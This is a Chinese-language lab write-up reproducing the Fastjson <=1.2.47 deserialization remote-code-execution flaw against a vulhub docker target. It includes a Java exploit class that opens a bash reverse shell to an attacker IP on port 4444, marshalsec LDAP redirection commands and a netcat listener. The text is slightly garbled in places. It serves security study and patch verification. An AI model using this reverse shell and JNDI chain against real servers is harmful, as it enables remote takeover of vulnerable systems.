fastjson<=1.2.47反序列化漏洞复现
0x00:简介
- Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
- Fastjson 1.2.48版本以下存在反序列化漏洞补丁绕过。
0x01:漏洞原理
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
0x02:搭建环境
靶机
这里使用vulhub的环境,只需要拉镜像即可
cd /vulhub/fastjson/1.2.47-rce
docker-compose up -d
此时访问靶机8090端口即可
攻击机
kali自带openjdk 所以需要删除自带的jdk 下载jdk1.8.0_212
下载jdk-8u212-linux-x64.tar.gz
# 查看安装的OpenJDK包 dpkg --list | grep -i jdk # 卸载OpenJDK相关包 apt-get purge openjdk-* # 检查所有 OpenJDK包是否都已卸载完毕 dpkg --list | grep -i jdk
# 解压 tar -zxvf jdk-8u212-linux-x64.tar.gz # 配置环境变量 修改/etc/profile文件 vim /etc/profile 在文末追加如下信息 export JAVA_HOME=/apache-maven-3.5.4/bin/jdk1.8.0_212 export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH=${JAVA_HOME}/bin:${PATH} # 使java环境生效 source /etc/profile # 查看是否安装成功 java -version
0x03:漏洞复现
1.验证是否存在漏洞
抓取数据包
修改数据包为POST,添加{"name":"pureqh","age":20}根据response判断,利用成功,存在该漏洞。
Exploit.java代码如下(反弹shell)
public Exploit() {}
static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "/bin/bash -i >&; /dev/tcp/192.168.150.145/4444 0>&1"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}
javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
Python开启 SimpleHTTPServer web服务,将exploit.class放在根目录
接着在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
地址:https://github.com/mbechler/marshalsec
下载marshalsec,使用maven编译jar包
mvn clean package -DskipTests
marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.150.145:8000/#Exploit 9999
本地服务器监听4444端口
nc -lvvp 4444
Burp发送exp
服务器即可收到shell
RMI同理。把LDAP替换为RMI即可(这里rmi不能稳定复现)
0x04:修复
升级为更高的版本